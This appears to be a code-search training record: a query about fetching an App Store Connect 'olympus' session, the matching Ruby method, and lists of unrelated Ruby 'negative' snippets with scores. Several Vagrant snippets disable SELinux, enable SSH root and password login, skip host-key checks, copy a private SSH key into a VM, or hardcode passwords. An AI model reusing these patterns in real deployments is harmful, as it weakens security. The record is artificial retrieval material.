"def ansible_provision(vm_object)\n vm_object.vm.provision :ansible_local do |ansible|\n ansible.install_mode = \"pip\"\n ansible.version = \"2.3\"\n ansible.playbook = \"provision.yml\"\n # ansible.verbose = \"-vvvv\"\n ansible.extra_vars = {\n :backend => vm_object.vm.hostname\n }\n end\nend",
"def configure_ks_vbox_vm(client_name,client_mac,client_arch,client_os,client_rel)\n if client_arch.match(/i386/)\n client_os = \"RedHat\"\n else\n client_os = \"RedHat_64\"\n end\n configure_vbox_vm(client_name,client_mac,client_os)\n return\nend",
"def add_cdrom_to_vbox_vm(client_name)\n message = \"Attaching:\\tCDROM to VM \"+client_name\n command = \"VBoxManage storagectl \\\"#{client_name}\\\" --name \\\"cdrom\\\" --add \\\"sata\\\" --controller \\\"IntelAHCI\\\"\"\n execute_command(message,command)\n if File.exist?($vbox_additions_iso)\n message = \"Attaching:\\tISO \"+$vbox_additions_iso+\" to VM \"+client_name\n command = \"VBoxManage storageattach \\\"#{client_name}\\\" --storagectl \\\"cdrom\\\" --port 0 --device 0 --type dvddrive --medium \\\"#{$vbox_additions_iso}\\\"\"\n execute_command(message,command)\n end\n return\nend",
"def push_config\n command = ['VBoxManage', 'modifyvm', uid]\n command.concat board.to_params\n nics.each_with_index do |nic, index|\n if nic.nil?\n command.push \"--nic#{index + 1}\", 'none'\n else\n command.concat nic.to_params(index + 1)\n end\n end\n VirtualBox.run_command! command\n \n io_buses.each { |bus| bus.add_to self }\n \n self\n end",
"def run_provisioner(env)\n env[:provisioner].provision\n end",
"def provision_mpath(config)\n config.vm.provision 'mpath', type: 'shell', inline: <<-SHELL\n yum -y install device-mapper-multipath\n cp /usr/share/doc/device-mapper-multipath-*/multipath.conf /etc/multipath.conf\n systemctl start multipathd.service\n systemctl enable multipathd.service\n SHELL\nend",
"def shell_provisioners_never(vm, host, global)\n if scripts = get_config_parameter(host, global, 'scripts_never')\n scripts.each do |script|\n vm.provision script['name'], type: \"shell\", run: \"never\" do |s|\n s.path = script['script']\n s.args = script['args']\n end\n end\n end\nend",
"def config_provision(vm, conf)\n vm.provision :shell, run: \"always\", inline: \"setenforce 0\"\n vm.provision :shell, run: \"always\", inline: \"sed -i 's/^SELINUX=enforcing/SELINUX=disabled/' /etc/selinux/config\"\n vm.provision :shell, run: \"always\", inline: \"yum -y install net-tools expect\"\n vm.provision :shell, run: \"always\", path: \"setrootpasswd.sh\"\n vm.provision :shell, run: \"always\", inline: \"ifup eth1\"\n vm.provision :shell, run: \"always\", inline: \"eval `route -n|awk '{ if ($8 ==\\\"eth0\\\" && $2 != \\\"0.0.0.0\\\") print \\\"route del default gw \\\" $2; }'`\"\n vm.provision :shell, run: \"always\", inline: \"sed -i 's/^#PermitRootLogin/PermitRootLogin/' /etc/ssh/sshd_config\"\n vm.provision :shell, run: \"always\", inline: \"sed -i 's/^PasswordAuthentication no/PasswordAuthentication yes/' /etc/ssh/sshd_config && systemctl restart sshd\"\n #vm.provision :ansible do |ansible|\n # ansible.host_key_checking = false\n # ansible.playbook = \"ansible/playbook.yml\"\n # ansible.verbose = \"vv\"\n # #ansible.extra_vars = {}\n #end\n #vm.provision :shell, :inline => \"cd /opt/devstack; sudo -u ubuntu env HOME=/home/ubuntu ./stack.sh\"\n # interface should match external_interface var in devstack.yml\n #vm.provision :shell, :inline => \"ovs-vsctl add-port br-ex enp0s9\"\n #vm.provision :shell, :inline => \"virsh net-destroy default\"\nend",
"def prepare!\n cleanup_hostname!\n cleanup_network!\n\n imports = ''\n\n # Find all /etc/nixos/vagrant-*.nix files\n machine.communicate.tap do |c|\n c.execute('find /etc/nixos -maxdepth 1 -type f -name \"vagrant-*.nix\"') do |type, data|\n imports << data\n end\n end\n\n # build\n conf = <<CONF\n{ config, pkgs, ... }:\n{\n imports = [\n #{imports.lines.join(\" \").strip}\n ];\nCONF\n # default NIX_PATH\n conf << <<CONF if config.NIX_PATH\n config.environment.shellInit = ''\n export NIX_PATH=#{config.NIX_PATH}:$NIX_PATH\n '';\nCONF\n conf << '}'\n # output / build the config\n\n write_config(\"vagrant.nix\", conf)\n end",
"def fetch_kubeconfig(config)\n\n config.vm.provision \"shell\", inline: <<-SHELL\n sshpass -p 'vagrant' scp -r -o StrictHostKeyChecking=no vagrant@master:.kube /home/vagrant\n chown vagrant:vagrant /home/vagrant/.kube/config\n sshpass -p 'vagrant' scp -r -o StrictHostKeyChecking=no vagrant@master:.kube /root\n chown root:root /root/.kube/config\n SHELL\n\nend",
"def configure_communication(\n machine,\n instance_profile,\n auth_method_default = 'keypair',\n forward_agent_default = false,\n forward_x11_default = false,\n gui_default = false,\n insert_key_default = true,\n password_default = 'vagrant',\n provider = 'virtualbox',\n username_default = 'vagrant'\n)\n\n instance_communication = lookup_values_yaml(instance_profile, ['providers', provider, 'instance', 'communication'])\n\n machine.vm.provider provider do |virtualbox|\n virtualbox.gui = [\n validate_value(lookup_values_yaml(instance_communication, ['display', 'gui'])),\n gui_default\n ].find { |i| !i.nil? }\n end\n\n instance_ssh = lookup_values_yaml(instance_communication, ['ssh'])\n\n if instance_ssh\n\n machine.ssh.forward_agent = [\n validate_value(lookup_values_yaml(instance_ssh, ['forward_agent'])),\n forward_agent_default\n ].find { |i| !i.nil? }\n\n machine.ssh.forward_x11 = [\n validate_value(lookup_values_yaml(instance_ssh, ['forward_x11'])),\n forward_x11_default\n ].find { |i| !i.nil? }\n\n machine.ssh.username = [\n lookup_values_yaml(instance_ssh, ['username']),\n username_default\n ].find { |i| !i.nil? }\n\n machine.ssh.insert_key = [\n validate_value(lookup_values_yaml(instance_ssh, ['insert_key'])),\n insert_key_default\n ].find { |i| !i.nil? }\n\n auth_method = [\n lookup_values_yaml(instance_ssh, ['auth_method']),\n auth_method_default\n ].find { |i| !i.nil? }\n validate_value(auth_method, ['keypair', 'password'])\n\n if auth_method == 'password'\n machine.ssh.password = [\n lookup_values_yaml(instance_ssh, ['password']),\n password_default\n ].find { |i| !i.nil? }\n elsif auth_method == 'keypair'\n # Private key is the default option for connections in Vagrant so no setting required here.\n end\n\n end\n\nend",
"def provision_ansible(box, key, ansible_config, vm_config)\n box.vm.provision :ansible_local do |ansible|\n properties = [\n 'ask_become_pass',\n 'ask_sudo_pass',\n 'ask_vault_pass',\n 'force_remote_user',\n 'host_key_checking',\n 'raw_ssh_args'\n ]\n properties.each do | property_name |\n set_instance_variable(ansible_config, ansible, property_name )\n end\n provision_ansible_common(ansible, key, ansible_config, vm_config)\n end\nend",
"def wait_for_guestcontrol\n until boot_complete? do\n print \"Waiting for #{@vbox_name} to be available for guestcontrol...\\n\" if @verbose\n sleep 3\n end\n end",
"def docker_login_vagrant(config)\n\n config.vm.provision \"shell\", privileged: false, inline: <<-SHELL\n docker login --username=testuser --password=testpassword util.io\n SHELL\n\nend",
"def provision_sp16_sql_accounts(vm_name, vm_config) \n require_string(vm_name)\n require_vagrant_config(vm_config)\n\n log_info_light(\"#{vm_name}: SharePoint 2016: image setup\")\n\n vm_config.vm.provision \"shell\",\n name: 'sp-sql-accounts-setup',\n path: \"#{vagrant_script_path}/vagrant/uplift.vagrant.sharepoint/sp2016.sp-accounts.dsc.ps1\",\n env: {\n \"UPLF_DSC_CHECK\" => 1\n }\n\n _track_ai_event(__method__, {\n 'vm_name': vm_name\n })\n end",
"def configure_ssh(vm)\n vm.provision \"shell\", inline: <<-SHELL\n mkdir -p /home/vagrant/.ssh\n rm -rf /home/vagrant/.ssh/id_rsa*\n chown vagrant:vagrant /home/vagrant/.ssh\n SHELL\n vm.provision \"file\", source: '~/.ssh/id_rsa', destination: '~/.ssh/id_rsa'\n vm.provision \"file\", source: '~/.ssh/id_rsa.pub', destination: '~/.ssh/id_rsa.pub'\nend",
"def handle_host(config, host, master_ip, bridge)\n config.vm.define host[\"name\"] do |node|\n node.vm.provider \"virtualbox\" do |vb|\n vb.name = host[\"name\"]\n end\n node.vm.box = host[\"box\"]\n node.vm.hostname = host[\"name\"]\n if host[\"private_net\"]\n node.vm.network \"private_network\", ip: host[\"ip\"]\n else\n node.vm.network \"public_network\", bridge: bridge, ip: host[\"ip\"]\n end\n node.vm.provision :salt do |salt|\n # The Salt minion_id config is currently ignored and Salt bootstrap\n # uses one of the hostnames that it finds. This is not necessarily\n # the hostnam set here. It worked on the test box that was used\n # originally that did not have a hostname previously set. But,\n # failed on public boxes that already had set a separate hostname.\n # For now, set it in bootstrap_options.\n #salt.minion_id = \"testminionname\"\n salt.install_type = \"stable\"\n bootstrap_options = \"-D -A #{master_ip} -i #{host[\"name\"]}\"\n salt.minion_key = File.join(KEY_DIR, host[\"name\"]) + \".pem\"\n salt.minion_pub = File.join(KEY_DIR, host[\"name\"]) + \".pub\"\n master_cfg = {}\n if host[\"minions\"]\n # There are relative minions of this node, so set up salt-master and\n # salt-minion. Preseed this nodes master with keys for those minions.\n minion_keys = {}\n host[\"minions\"].each do |minion|\n minion_name = minion[\"name\"]\n minion_keys[minion_name] = File.join(KEY_DIR, \"#{minion_name}.pub\")\n end\n master_cfg[\"syndic_master\"] = master_ip\n salt.seed_master = minion_keys\n salt.install_master = true\n salt.install_syndic = true\n end\n if not master_cfg.empty?\n syndic_cfg = JSON.generate(master_cfg)\n bootstrap_options << \" -J '\" << syndic_cfg << \"'\"\n end\n salt.bootstrap_options = bootstrap_options\n end\n end\n if host[\"minions\"]\n # Now set up any nodes listed as minions to this node.\n host[\"minions\"].each do |minion|\n handle_host(config, minion, host[\"ip\"], bridge)\n end\n end\nend",
"def create_hostfile(config)\n open('hosts', 'w') do |f|\n f.puts <<-__EOF\n127.0.0.1 localhost localhost.localdomain localhost4 localhost4.localdomain4\n::1 localhost localhost.localdomain localhost6 localhost6.localdomain6\n\n10.0.10.10 device-scanner1.local device-scanner1\n10.0.10.11 device-scanner2.local device-scanner2\n10.0.30.10 device-aggregator.local device-aggregator\n10.0.40.10 iscsi.local iscsi\n10.0.50.10 iscsi2.local iscsi2\n __EOF\n end\n\n config.vm.provision 'shell', inline: 'cp -f /vagrant/hosts /etc/hosts'\nend",
"def register\n VirtualBox.run_command! ['VBoxManage', 'createvm', '--name', name,\n '--uuid', uid, '--register']\n begin\n push_config\n rescue\n unregister\n raise\n end\n \n self\n end",
"def basic_config(vm)\n bashrc=\"/home/vagrant/.bashrc\"\n vm.provision \"shell\", inline: <<-SHELL\n if ! grep -q \"git-core\" #{bashrc} ; then \n echo \"customizing ~/bashrc\"\n echo \"\\n\\n# Customizations from Vagrantfile:\" >> #{bashrc}\n echo \"export PS1='\\\\[\\\\033[31;1m\\\\]\\\\h\\\\[\\\\033[0;32m\\\\] \\\\w\\\\[\\\\033[00m\\\\]: '\" >> #{bashrc}\n echo export PATH=\"\\$PATH:/usr/lib/git-core:/home/vagrant/teleport/build\" >> #{bashrc}\n echo export GREP_OPTIONS=\"--color=auto\" >> #{bashrc}\n echo \"alias ll='ls -lh'\" >> #{bashrc}\n fi\n SHELL\nend",
"def provision_win16_dsc_dc_users(vm_name, vm_config) \n\n require_string(vm_name)\n require_vagrant_config(vm_config)\n\n log_info(\" - domain users\")\n\n vm_config.vm.provision \"shell\", \n path: \"#{vagrant_script_path}/vagrant/uplift.vagrant.dc12/dc.users.dsc.ps1\",\n name: 'dc.users.dsc.ps1', \n env: {\n \"UPLF_DC_DOMAIN_NAME\" => \"uplift\",\n \"UPLF_DC_DOMAIN_ADMIN_NAME\" => \"admin\",\n \"UPLF_DC_DOMAIN_ADMIN_PASSWORD\" => \"uplift!QAZ\",\n\n \"UPLF_VAGRANT_USER_NAME\" => \"vagrant\",\n \"UPLF_VAGRANT_USER_PASSWORD\" => \"vagrant\"\n }\n\n _track_ai_event(__method__, {\n 'vm_name': vm_name\n })\n end"
] |
[
"0.7146217",
"0.70492584",
"0.6754668",
"0.6731797",
"0.64458185",
"0.6392794",
"0.6363255",
"0.6361694",
"0.632649",
"0.63092256",
"0.6272282",
"0.6267608",
"0.62578017",
"0.62375796",
"0.6216973",
"0.61980397",
"0.6189879",
"0.61584574",
"0.61557585",
"0.6139744",
"0.6129853",
"0.6123295",
"0.6094912",
"0.6078114",
"0.60707515",
"0.60632163",
"0.60522807",
"0.6014399",
"0.6005405",
"0.60013664",
"0.59955186",
"0.5980039",
"0.59796363",
"0.5978504",
"0.5974681",
"0.59692097",
"0.59487194",
"0.5946292",
"0.5941176",
"0.59391135",
"0.59380364",
"0.593732",
"0.59361476",
"0.59294575",
"0.5927686",
"0.5924081",
"0.5916216",
"0.5915083",
"0.58922404",
"0.5886432",
"0.5885163",
"0.5884377",
"0.58579195",
"0.58541405",
"0.585385",
"0.58458686",
"0.58448786",
"0.5810328",
"0.57953805",
"0.57901794",
"0.5789878",
"0.57890344",
"0.5788438",
"0.57872725",
"0.5781872",
"0.57817036",
"0.5776098",
"0.5765755",
"0.5760087",
"0.57494277",
"0.5735951",
"0.5735439",
"0.5735388",
"0.5733013",
"0.5732734",
"0.5726275",
"0.57207406",
"0.57194084",
"0.57145256",
"0.57122266",
"0.57119215",
"0.5710686",
"0.5704298",
"0.5695705",
"0.5692001",
"0.569038",
"0.5686638",
"0.5682497",
"0.5679048",
"0.56736827",
"0.5664015",
"0.56628036",
"0.5659579",
"0.56503737",
"0.5648766",
"0.56443083",
"0.5640484",
"0.56354624",
"0.5631083",
"0.5630205"
] |
0.7328448
|
0
|
Get the `itctx` from the new (22nd May 2017) API endpoint "olympus" Update (29th March 2019) olympus migrates to new appstoreconnect API
|
def fetch_olympus_session0
response = request(:get, "https://appstoreconnect.apple.com/olympus/v1/session")
body = response.body
if body
body = JSON.parse(body) if body.kind_of?(String)
user_map = body["user"]
if user_map
self.user_email = user_map["emailAddress"]
end
provider = body["provider"]
if provider
self.provider = Spaceship::Provider.new(provider_hash: provider)
return true
end
end
return false
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def context\n get('/augeas/context')\n end",
"def get_lti_tool_provider_information(org_unit_id, tp_id)\n path = \"/d2l/api/le/#{$le_ver}/lti/tp/#{org_unit_id}/#{tp_id}\"\n _get(path)\nend",
"def graphiti_context\n if respond_to?(:jsonapi_context)\n DEPRECATOR.deprecation_warning(\"Overriding jsonapi_context\", \"Override #graphiti_context instead\")\n jsonapi_context\n else\n self\n end\n end",
"def inspect\n context = @solution.map{|k, v| \"#{k}: #{v}\"}.join(',')\n \"#<Twilio.Oauth.V1.OauthContext #{context}>\"\n end",
"def inspect\n context = @solution.map{|k, v| \"#{k}: #{v}\"}.join(',')\n \"#<Twilio.Oauth.V1.UserInfoContext #{context}>\"\n end",
"def lookup_context; end",
"def lookup_context; end",
"def lookup_context; end",
"def context_key(appt)\n \"#{appt.facility_id}/#{appt.clinic_id}\"\n end",
"def ssl_context\n @tls&.ssl_context\n end",
"def jupyter\n \n #{\"oauth_consumer_key\"=>\"test\", \"oauth_signature_method\"=>\"HMAC-SHA1\", \"oauth_timestamp\"=>\"1443817991\", \"oauth_nonce\"=>\"wvhvA76bmeS6ckrNbGNr9fobCsxtgMNwAFGvsVII\", \"oauth_version\"=>\"1.0\", \"context_id\"=>\"bestcourseever\", \"context_title\"=>\"Example Sinatra Tool Consumer\", \"custom_message_from_sinatra\"=>\"hey from the sinatra example consumer\", \"launch_presentation_return_url\"=>\"http://127.0.0.1:9393/tool_return\", \"lis_outcome_service_url\"=>\"http://127.0.0.1:9393/grade_passback\", \"lis_person_name_given\"=>\"test2\", \"lis_result_sourcedid\"=>\"oi\", \"lti_message_type\"=>\"basic-lti-launch-request\", \"lti_version\"=>\"LTI-1.0\", \"resource_link_id\"=>\"thisisuniquetome\", \"roles\"=>\"Learner\", \"tool_consumer_instance_name\"=>\"Frankie\", \"user_id\"=>\"ad0234829205b9033196ba818f7a872b\", \"oauth_signature\"=>\"j2XndrELqZXjJ9/kXMqRzY4fno4=\"}\n \n # the consumer keys/secrets\n $oauth_creds = {\"test\" => \"secret\", APP_CREDS[\"consumer_key\"] => APP_CREDS[\"secret\"]}\n \n if key = params['oauth_consumer_key']\n if secret = $oauth_creds[key]\n @tp = IMS::LTI::ToolProvider.new(key, secret, params)\n else\n @tp = IMS::LTI::ToolProvider.new(nil, nil, params)\n @tp.lti_msg = \"Your consumer didn't use a recognized key.\"\n @tp.lti_errorlog = \"You are doing it wrong!\"\n show_error \"Consumer key wasn't recognized\"\n return false\n end\n else\n show_error \"No consumer key\"\n return false\n end\n \n @lti_session = LtiUserSession.new\n @lti_session.username = @tp.username(\"Dude\")\n @lti_session.userId = @tp.user_id \n @lti_session.userEmail = @tp.lis_person_contact_email_primary \n @lti_session.destination = params['custom_notebook'] \n @lti_session.save!\n \n if !@tp.valid_request?(request)\n show_error \"The OAuth signature was invalid\"\n return false\n end\n\n if Time.now.utc.to_i - @tp.request_oauth_timestamp.to_i > 60*60\n show_error \"Your request is too old.\"\n return false\n end\n\n if was_nonce_used_in_last_x_minutes?(@tp.request_oauth_nonce, @tp.user_id, 60)\n show_error \"LTI error: nonce was reused\"\n return false\n end\n \n self.passthrough_to_tool\n end",
"def coreApiEP\n\t\tCORE_API_URL_83\n\tend",
"def lookup_context=(_arg0); end",
"def fetch_api_codewars_kata_info\n private_fetch_kata\n end",
"def parse_context\n Context.new(@req[:context])\n end",
"def api_id\n chip_api.tmp_api_id\n end",
"def toggl_api_key\n toggl_source[\"access_token\"] #|| toggl_source -> Necessary?\n end",
"def im_cot()\n return MicrosoftGraph::Drives::Item::Items::Item::Workbook::Functions::ImCot::ImCotRequestBuilder.new(@path_parameters, @request_adapter)\n end",
"def get_trade_context\n return @trade_context.fetch\n end",
"def get_tool_provider\n launch_params = session[:launch_params]\n if launch_params\n course = Course.find_by(consumer_key: launch_params[:oauth_consumer_key]) \n if !course\n # TODO: render invalid, and display error.\n return nil\n end\n IMS::LTI::ToolProvider.new(\n course.consumer_key, course.consumer_secret, launch_params\n )\n else\n return nil\n end\n end",
"def update_lti_tool_provider(tp_id, create_lti_provider_data)\n path = \"/d2l/api/le/#{$le_ver}/lti/tp/#{tp_id}\" # tp_id = tool provider id\n payload = {\n 'LaunchPoint' => '',\n 'Secret' => '',\n 'UseDefaultTcInfo' => '',\n 'Key' => '',\n 'Name' => '',\n 'Description' => '',\n 'ContactEmail' => '',\n 'IsVisible' => false,\n 'SendTcInfo' => false, # Appears in LE's 1.12+ contract as of LE v10.6.0\n 'SendContextInfo' => false, # Appears in LE's 1.12+ contract as of LE v10.6.0\n 'SendUserId' => false, # Appears in LE's 1.12+ contract as of LE v10.6.0\n 'SendUserName' => false, # Appears in LE's 1.12+ contract as of LE v10.6.0\n 'SendUserEmail' => false, # Appears in LE's 1.12+ contract as of LE v10.6.0\n 'SendLinkTitle' => false, # Appears in LE's 1.12+ contract as of LE v10.6.0\n 'SendLinkDescription' => false, # Appears in LE's 1.12+ contract as of LE v10.6.0\n 'SendD2LUserName' => false, # Appears in LE's 1.12+ contract as of LE v10.6.0\n 'SendD2LOrgDefinedId' => false, # Appears in LE's 1.12+ contract as of LE v10.6.0\n 'SendD2LOrgRoleId' => false # Appears in LE's 1.12+ contract as of LE v10.6.0\n }.merge!(create_lti_provider_data)\n check_create_lti_provider_data_validity(payload)\n _put(path, payload)\n # RETURNS: a LtiToolProviderData JSON block\nend",
"def get_context\n synchronize do\n # The URL to get the context list from sesame\n dir = \"#{@options[\"host\"]}:#{@options[\"port\"]}/openrdf-sesame/repositories/#{@options[\"repo\"]}/contexts\"\n\n # Asks for the context list\n RestClient.get dir, :content_type=>'application/sparql-results+xml'\n end\n end",
"def api\n self.well_info.api\n end",
"def call_introspection_api(token, scopes, subject)\n return call_api(\"/api/auth/introspection\", {\n \"token\" => token,\n \"scopes\" => scopes,\n \"subject\" => subject\n })\nend",
"def unit_of_work_id\n context[:unit_of_work_id]\n end",
"def context\n unless @instance_context\n @instance_context = OauthContext.new(@version )\n end\n @instance_context\n end",
"def get_context(*params); raise('Stub or mock required.') end",
"def context\n Zuul::Context.new context_type, context_id\n end",
"def decode_context\n data = parsed_request\n \n context = Base64.decode64(data.split('.')[1])\nend",
"def inspect\n context = @solution.map {|k, v| \"#{k}: #{v}\"}.join(',')\n \"#<Twilio.FlexApi.V1.InteractionChannelContext #{context}>\"\n end",
"def mainContext\n # return Context.find( context )\n return context\n end",
"def get_context\n @context_hash ||= {}\n end",
"def to_s\n context = @solution.map{|k, v| \"#{k}: #{v}\"}.join(',')\n \"#<Twilio.Oauth.V1.UserInfoContext #{context}>\"\n end",
"def user_context\n YodleeApi.deep_copy(@user_context)\n end",
"def user_context\n YodleeApi.deep_copy(@user_context)\n end",
"def inspect\n context = @solution.map{|k, v| \"#{k}: #{v}\"}.join(',')\n \"#<Twilio.FlexApi.V1.InteractionContext #{context}>\"\n end",
"def irb_context\n IRB.CurrentContext\n end",
"def context_pin; end",
"def im_sec()\n return MicrosoftGraph::Drives::Item::Items::Item::Workbook::Functions::ImSec::ImSecRequestBuilder.new(@path_parameters, @request_adapter)\n end",
"def to_s\n context = @solution.map{|k, v| \"#{k}: #{v}\"}.join(',')\n \"#<Twilio.Oauth.V1.OauthContext #{context}>\"\n end",
"def current_jwt_context\n @jwt_context ||= session[:jwt_context]\n end",
"def tokeninfo(token)\n $client.authorization.update_token!(token)\n oauth2 = $client.discovered_api('oauth2','v2')\n\n puts $client.execute(oauth2.tokeninfo, token).response.body\nend",
"def get_api_version\n :v201502\n end",
"def getContexts\n \n query_processing_time_begin = Time.now\n # In web-ui query processing time is only shown if asked. In atom-feed, it is always shown.\n if params[\"query_processing_time\"] && params[\"query_processing_time\"].downcase == \"true\"\n @query_processing = true\n end\n if params[:qoption] && params[:qoption][\"query_processing_time\"] == \"true\"\n @query_processing = true\n end\n \n @queryparams = params\n \n if request.url.to_s.include?(\"?\")\n @querystring = request.url.to_s.gsub(/http\\:\\/\\/[\\w\\.\\:\\/]+\\?/, \"\").gsub(\"%2A\", \"*\")\n @querystring_for_feed = @querystring.gsub(/\\&?perpage\\=\\d+/i, \"\").gsub(/\\&?page\\=\\d+/i, \"\").gsub(/^\\&/, \"\")\n end\n if @querystring_for_feed == \"\" or @querystring_for_feed == nil then @querystring_for_feed = \"No parameters given. Use name parameter for querying contexts by name.\" end\n \n \n # Find username who is signed in\n if params[:i_am_client]\n username = authenticateClient\n elsif session[:username]\n username = session[:username] \n end\n @user = User.find_by_username(username)\n\n # host parameter, needed when creating atom-feed\n if request.ssl?\n @host = \"https://#{request.host}\"\n else\n @host = \"http://#{request.host}\"\n end\n\n if request.port != nil and request.port != 80\n @host += \":#{request.port}\"\n end \n \n sql = \"SELECT contexts.id as c_id, contexts.user_id as user_id, contexts.name as name, query_uri, icon_url,\n contexts.node_path as node_path, contexts.node_service as node_service,\n description, begin_time, end_time, contexts.email as email, private, location_string, username, \n users.id, contexts.updated_at as updated_at, contexts.created_at as created_at, context_hash,\n contexts.rank as rank\n FROM contexts, users \"\n sql_conditions = nil\n \n if @queryparams[:name] \n sql_names = searchtermForSql(@queryparams[:name], \"name\")\n sql_conditions = sql_conditions ? sql_conditions + \" AND \" + sql_names : sql_names\n end\n \n if @queryparams[:username] \n # Find user_id\n owner = User.find_by_username(@queryparams[:username])\n if owner == nil\n render :text => \"Owner of queried context not found\", :status => 409\n return\n end \n sql_conditions = sql_conditions ? sql_conditions + \" AND user_id = #{owner.id} \" : \"user_id = #{owner.id} \"\n end\n \n if @queryparams[:sort_by]\n # You can sort by created_at/updated_at/name/rank\n if @queryparams[:sort_by].downcase == \"date_added\"\n sort_by = \"created_at\"\n elsif @queryparams[:sort_by].downcase == \"date_updated\"\n sort_by = \"updated_at\"\n elsif @queryparams[:sort_by].downcase == \"name\"\n sort_by = \"name\"\n elsif @queryparams[:sort_by].downcase == \"rank\"\n sort_by = \"rank\"\n end\n \n else\n sort_by = \"updated_at\"\n end\n \n # If searching contexts by name, also take into account context_names given by the user\n if @queryparams[:name] && @user != nil\n tmp_also_these_ctx = Context.find_by_sql(\"SELECT context_names.* FROM context_names WHERE #{sql_conditions} AND context_names.user_id = #{@user.id}\")\n \n if tmp_also_these_ctx != nil && tmp_also_these_ctx.size != 0\n \n add_contexts = \"contexts.id IN (\"\n\n tmp_also_these_ctx.each_with_index do |x, i|\n if i != 0\n add_contexts += \", \"\n end\n add_contexts += x.context_id\n end\n add_contexts += \" ) \"\n \n sql_conditions = \" ( \"+ add_contexts + \" OR \" + sql_conditions +\" ) \"\n end\n \n end\n \n \n if @queryparams[:order] && @queryparams[:order].downcase == \"asc\"\n order = \"ASC\" \n else\n order = \"DESC\"\n end\n \n if sql_conditions\n sql += \" WHERE \" + sql_conditions + \" AND user_id = users.id \"\n else\n sql += \" WHERE contexts.user_id = users.id \"\n end\n \n sql += \" ORDER BY #{sort_by} #{order} \"\n puts \"Context search SQL: #{sql}\"\n \n # Get contexts, user authorization is not yet checked for these\n contexts_unlimited = Context.find_by_sql( sql )\n \n # Move contexts here, that user is authorized to see\n @contexts = Array.new\n # Show the name owner has given, as well as the name the user has given\n @context_info = {}\n \n # Find contexts that user is authorized to see\n contexts_unlimited.each do |cx|\n if authorizedToContext(cx.context_hash)\n \n tmp_owner = User.find_by_id(cx.user_id)\n if tmp_owner == nil\n render :text => \"Couldn't find owner info for context: #{cx.name}\", :status => 409\n return\n end\n\n if @user != nil\n temp_ctx_name = ContextName.find_by_user_id_and_context_id(@user.id, cx.c_id)\n else\n temp_ctx_name = nil\n end\n \n if temp_ctx_name != nil\n \n @context_info.merge!({cx.c_id => { \"owner_name\" => tmp_owner.username, \"user_named\" => temp_ctx_name.name}}) \n else \n @context_info.merge!({cx.c_id => { \"owner_name\" => tmp_owner.username, \"user_named\" => cx.name}})\n end\n @contexts.push(cx)\n next\n end\n end\n \n puts @contexts.to_s\n \n # If user doesn't have access to any context\n if @contexts.empty?\n render :text => \"Nothing found!\", :status => 404\n return\n end\n \n sql = \"SELECT context_metadatas.context_id as id, \n context_metadatas.value as value, \n metadata_types.name as type_name,\n metadata_types.value_type as value_type\n FROM context_metadatas, metadata_types\"\n\n metadata_where_part = \" WHERE context_metadatas.metadata_type_id = metadata_types.id AND \n context_metadatas.context_id in (\"\n @contexts.each_index do |i|\n c = @contexts[i]\n metadata_where_part += \"#{c.c_id.to_s}\"\n metadata_where_part += ',' if @contexts.count > 1 and i != @contexts.count - 1\n end\n metadata_where_part += ')'\n \n sql += metadata_where_part\n \n @metadatas = {}\n mdatas = ContextMetadata.find_by_sql(sql)\n mdatas.each do |md|\n temp = @metadatas[md.id]\n if not temp\n # Wasn't found => new array for the mds\n temp = []\n end\n temp.push(md)\n @metadatas.merge!({md.id => temp})\n end\n \n \n\n @members = {}\n @contexts.each do |x|\n \n sql = \"SELECT users.* \n FROM context_group_permissions, groups, usersingroups, users \n WHERE context_group_permissions.context_id=#{x.c_id} AND \n context_group_permissions.group_id = groups.id AND \n groups.id=usersingroups.group_id AND usersingroups.user_id=users.id;\"\n \n m_temp = User.find_by_sql(sql)\n if not m_temp\n m_temp = []\n end\n @members.merge!({x.c_id => m_temp}) \n end\n\n # Create atom feed\n @host = @@http_host\n \n \n if @queryparams[:format] == \"yaml\" or @queryparams[:format] == \"json\" \n puts \"YAMLII\"\n @yaml_results = {}\n \n @contexts.each do |context|\n context_metadatas = @metadatas[context.c_id.to_i]\n context_members = @members[context.c_id]\n co = ContextObject.new(context, context_metadatas, context_members, @context_info[context.c_id])\n @yaml_results.merge!({co.get_uri => co.to_yaml})\n end\n end\n \n \n if query_processing_time_begin != nil\n query_processing_time_end = Time.now\n @query_processing_time = query_processing_time_end - query_processing_time_begin\n puts \"Time used for processing query: #{@query_processing_time}\"\n end\n \n \n \n # Rendering\n respond_to do |format|\n if @queryparams[:format] == nil\n format.html {render :getcontexts, :layout=>true }\n else\n format.html {render :getcontexts, :layout=>true }\n format.atom {render :getcontexts, :layout=>false }\n format.yaml {render :text => YAML.dump(@yaml_results), :layout=>false }\n format.json {render :text => JSON.dump(@yaml_results), :layout=>false }\n end\n end \n end",
"def proxy_context\n @context\n end",
"def context\n Byebug.current_context\n end",
"def app_client\n @app_client ||= Octokit::Client.new :client_id => CLIENT_ID, :client_secret => CLIENT_SECRET\nend",
"def contexts\n JSON.parse(raw_contexts())[\"results\"][\"bindings\"].map{|x| x[\"contextID\"][\"value\"] }\n end",
"def get_current_user_api\n $SDK_API\nend",
"def uwi\n self.well_info.uwi || self.well_info.api\n end",
"def context\n init\n @context\n end",
"def last_context; end",
"def getLocationContext( location_id, latitude, longitude, radius, resolution, country, num_results)\n params = Hash.new\n params['location_id'] = location_id\n params['latitude'] = latitude\n params['longitude'] = longitude\n params['radius'] = radius\n params['resolution'] = resolution\n params['country'] = country\n params['num_results'] = num_results\n return doCurl(\"get\",\"/location/context\",params)\n end",
"def intercom\n intercom = Intercom::Client.new(app_id: 'ahd0euu5', api_key: 'b505f64477d12b3375524315399786d54e28f9b7')\n end",
"def ssl_context_params; end",
"def export_as_openurl_ctx_kev(ignored_param = nil)\n unless defined? @_ctx_kev\n @_ctx_kev = to_openurl.kev\n end\n return @_ctx_kev\n end",
"def api\n @api ||= Battlenet.new(:eu)\n end",
"def qualify(api_map, context = T.unsafe(nil)); end",
"def context\n @context ||= {}\n end",
"def context\n @context ||= {}\n end",
"def get_thread_by_context(username, job_key, application_id, context = 'Interviews')\n $LOG.i \"running \" + __method__.to_s\n @client.get '/mc/v1/contexts/' + username + '/' + context + ':' + job_key + ':' + application_id\n end",
"def cobrand_context\n YodleeApi.deep_copy(@cobrand_context)\n end",
"def cobrand_context\n YodleeApi.deep_copy(@cobrand_context)\n end",
"def cobrand_context\n YodleeApi.deep_copy(@cobrand_context)\n end",
"def to_get_request\n 'get_%ss' % api_name\n end",
